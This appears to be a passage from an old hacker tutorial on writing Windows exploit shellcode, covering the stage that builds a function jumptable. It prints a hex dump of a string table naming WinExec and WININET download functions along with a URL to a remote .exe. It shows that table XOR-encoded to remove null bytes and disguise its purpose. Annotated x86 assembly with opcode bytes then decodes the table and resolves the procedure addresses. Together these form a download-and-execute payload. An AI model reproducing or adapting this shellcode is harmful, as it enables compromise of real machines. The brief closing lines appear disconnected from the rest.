Make your own free website on Tripod.com
Creating our Jumptable

Now to create the jumptable.

Hurdle #1: We need to refer to the functions by name

That's right. GetProcAddress calls for either a function ordinal (which we can't use because they change from version to version), or a function name. A NULL terminated function name. Our exploit string has to have null characters in it? Oh shit! We should have thought of that earlier! That and we'll have to package this thing with a URL string as well for it to download!

So we be clever again. Since no character in any of our function names, or in our download URL is above ASCII 0x80, it's safe to tack all of the names and the url to the end of the exploit string, and XOR (or ADD for that matter) 0x80 to all of the string bytes. And when we start up the exploit, we simply XOR the tail of our exploit with 0x80's. This has the added advantage that the naked eye looking at the exploit string won't be able to tell exactly what we're trying to do. Not good encryption, but that's not the point. We're just trying to make it _work_.

So we tack the following crap to the end of the exploit string:

00000270:  .. .. .. .. .. .. .. 4B-45 52 4E 45-4C 33 32 00         KERNEL32
00000280:  5F 6C 63 72-65 61 74 00-5F 6C 77 72-69 74 65 00  _lcreat _lwrite
00000290:  5F 6C 63 6C-6F 73 65 00-57 69 6E 45-78 65 63 00  _lclose WinExec
000002A0:  45 78 69 74-50 72 6F 63-65 73 73 00-47 6C 6F 62  ExitProcess Glob
000002B0:  61 6C 41 6C-6C 6F 63 00-57 49 4E 49-4E 45 54 00  alAlloc WININET
000002C0:  49 6E 74 65-72 6E 65 74-4F 70 65 6E-41 00 49 6E  InternetOpenA In
000002D0:  74 65 72 6E-65 74 43 6C-6F 73 65 48-61 6E 64 6C  ternetCloseHandl
000002E0:  65 00 49 6E-74 65 72 6E-65 74 4F 70-65 6E 55 72  e InternetOpenUr
000002F0:  6C 41 00 49-6E 74 65 72-6E 65 74 52-65 61 64 46  lA InternetReadF
00000300:  69 6C 65 00-68 74 74 70-3A 2F 2F 77-77 77 2E 6C  ile http://www.l
00000310:  30 70 68 74-2E 63 6F 6D-2F 7E 64 69-6C 64 6F 67  0pht.com/~dildog
00000320:  2F 65 61 74-6D 65 2E 65-78 65 00 .. .. .. .. ..  /eatme.exe      
But we XOR it with 0x80 to eliminate the 00 bytes, as follows:

 00000270:  .. .. .. .. .. .. .. CB-C5 D2 CE C5-CC B3 B2 80         -+-++_
 00000280:  DF EC E3 F2-E5 E1 F4 80-DF EC F7 F2-E9 F4 E5 80  ____________
 00000290:  DF EC E3 EC-EF F3 E5 80-D7 E9 EE C5-F8 E5 E3 80  ______+__+_
 000002A0:  C5 F8 E9 F4-D0 F2 EF E3-E5 F3 F3 80-C7 EC EF E2  +__-________
 000002B0:  E1 EC C1 EC-EC EF E3 80-D7 C9 CE C9-CE C5 D4 80  _-___+++++++
 000002C0:  C9 EE F4 E5-F2 EE E5 F4-CF F0 E5 EE-C1 80 C9 EE  +_______-___-+_
 000002D0:  F4 E5 F2 EE-E5 F4 C3 EC-EF F3 E5 C8-E1 EE E4 EC  ______+____+___
 000002E0:  E5 80 C9 EE-F4 E5 F2 EE-E5 F4 CF F0-E5 EE D5 F2  _+_______-___+_
 000002F0:  EC C1 80 C9-EE F4 E5 F2-EE E5 F4 D2-E5 E1 E4 C6  _-+_______-__
 00000300:  E9 EC E5 80-E8 F4 F4 F0-BA AF AF F7-F7 F7 AE EC  ___________
 00000310:  B0 F0 E8 F4-AE E3 EF ED-AF FE E4 E9-EC E4 EF E7  _____________
 00000320:  AF E5 E1 F4-ED E5 AE E5-F8 E5 80 .. .. .. .. ..  ____
Got it? Good.

Hurdle #2: We need to decode the string table

So our first task in the code is to decode this shit, so we make this the first thing it executes:

 00000146: 33C9                         xor    ecx,ecx
Clear ECX, we're gonna use this.
 00000148: B88053FF63                   mov    eax,063FF5380  ;"c_S"
 0000014D: 2C80                         sub    al,080  ;""
 0000014F: C1C018                       rol    eax,018
Set EAX to the end of our data area in memory (we have to do this ugly funk so we don't get any NULL characters).
 00000152: B1B4                         mov    cl,0B4  ;""
ECX is now 0x000000B4, the number of characters we want to XOR.
 00000154: 48                           dec    eax
 00000155: 803080                       xor    b,[eax],080  ;""
 00000158: E2FA                         loop   000000154   ---------- (1)
And here's the XOR loop. Now we see why we XORed from the end of the memory. Now EAX points to the start of the data, and we can proceed to use it to reference the names. Now we move on to actually get our jumptable.

Hurdle #3: Loading all the procedure addresses

 0000015A: BE7C10606A                   mov    esi,06A60107C
 0000015F: 50                           push   eax
 00000160: 50                           push   eax
 00000161: FF16                         call   d,[esi]
 00000163: 8BF0                         mov    esi,eax
All this code does is call LoadModule. I didn't need to push twice there, but I was debugging, and hey, I forgot to remove it. NOP it out if you like. EAX pointed to the string "KERNEL32", which was the first argument to LoadModule. When LoadModule returns, it will put the kernel module handle in EAX, which we then save in ESI, so that it won't get blown away by calling other procedures.

 00000165: 5B                           pop    ebx
 00000166: 8BFB                         mov    edi,ebx
 00000168: 6681EF4BFF                   sub    di,0FF4B  ;"_K"
This sets EDI to point to the base of our jumptable, which we place 181 bytes past the beginning of our decoded string table (in further stack space).
 0000016D: FC                           cld
 0000016E: 33C9                         xor    ecx,ecx
 00000170: 80E9FA                       sub    cl,-006
We're going to loop six times, for the six procedures we're loading from the kernel. So now ECX=0x00000006.
 00000173: 43                           inc    ebx
 00000174: 32C0                         xor    al,al
 00000176: D7                           xlat
 00000177: 84C0                         test   al,al
 00000179: 75F8                         jne    000000173   ---------- (1)
 0000017B: 43                           inc    ebx
This loop scans over the text, searching for a null character (move to the next string, in other words), and then points EBX the character one past the 0x00 byte. This moves us from one procedure name to the next. Note the 31337 use of XLAT. I like that. Our whole memory reference in one byte. Sweet.
 0000017C: 51                           push   ecx
 0000017D: 53                           push   ebx
 0000017E: 56                           push   esi
 0000017F: FF157810606A                 call   d,[06A601078]
 00000185: AB                           stosd
 00000186: 59                           pop    ecx
This gets the procedure addresses for our functions, and places them in the table pointed to by EDI.
 00000187: E2EA                         loop   000000173   ---------- (2)
Loop for all the kernel procedures.

Now that we're done with the kernel, we gotta repeat for the WININET procedures.

 00000189: 43                           inc    ebx
 0000018A: 32C0                         xor    al,al
 0000018C: D7                           xlat
 0000018D: 84C0                         test   al,al
 0000018F: 75F8                         jne    000000189   ---------- (2)
 00000191: 43                           inc    ebx
This code only exists to move EBX past the name of the last kernel function and to the string "WININET" in our decoded string table.
 00000192: 53                           push   ebx
 00000193: 53                           push   ebx
 00000194: FF157C10606A                 call   d,[06A60107C]
 0000019A: 8BF0                         mov    esi,eax
 0000019C: 90                           nop
 0000019D: 90                           nop
 0000019E: 90                           nop
 0000019F: 90                           nop
Yeah the NOPs and the double-push are more debugging shit. Get rid of them yourself if you don't like 'em there. This code gets the module handle (base address) of WININET.DLL. It stores it in ESI.
 000001A0: 33C9                         xor    ecx,ecx
 000001A2: 83E9FC                       sub    ecx,-004
 000001A5: 43                           inc    ebx
 000001A6: 32C0                         xor    al,al
 000001A8: D7                           xlat
 000001A9: 84C0                         test   al,al
 000001AB: 75F8                         jne    0000001A5
 000001AD: 43                           inc    ebx
 000001AE: 51                           push   ecx
 000001AF: 53                           push   ebx
 000001B0: 56                           push   esi
 000001B1: FF157810606A                 call   d,[06A601078]
 000001B7: AB                           stosd
 000001B8: 59                           pop    ecx
 000001B9: E2EA                         loop   0000001A5
This is just a copy of the code used to get the addresses for the kernel functions, but this time it's getting the addresses of 4 WININET functions. I hope you don't need me to explain all of this twice, or you'll never finish reading this. OK! now we've built us a jumptable. EDI points to the dword past the end of the jumptable, so we can just reference our procedures indirectly from EDI now (call dword ptr [edi-16]). It's just like an import table, but more fun!

Now that we have harnessed all of our tools, they are mere keystrokes away. It's time to get to the meat.

Where's the 0x0000BEEF?

This makes no sense. I hate you.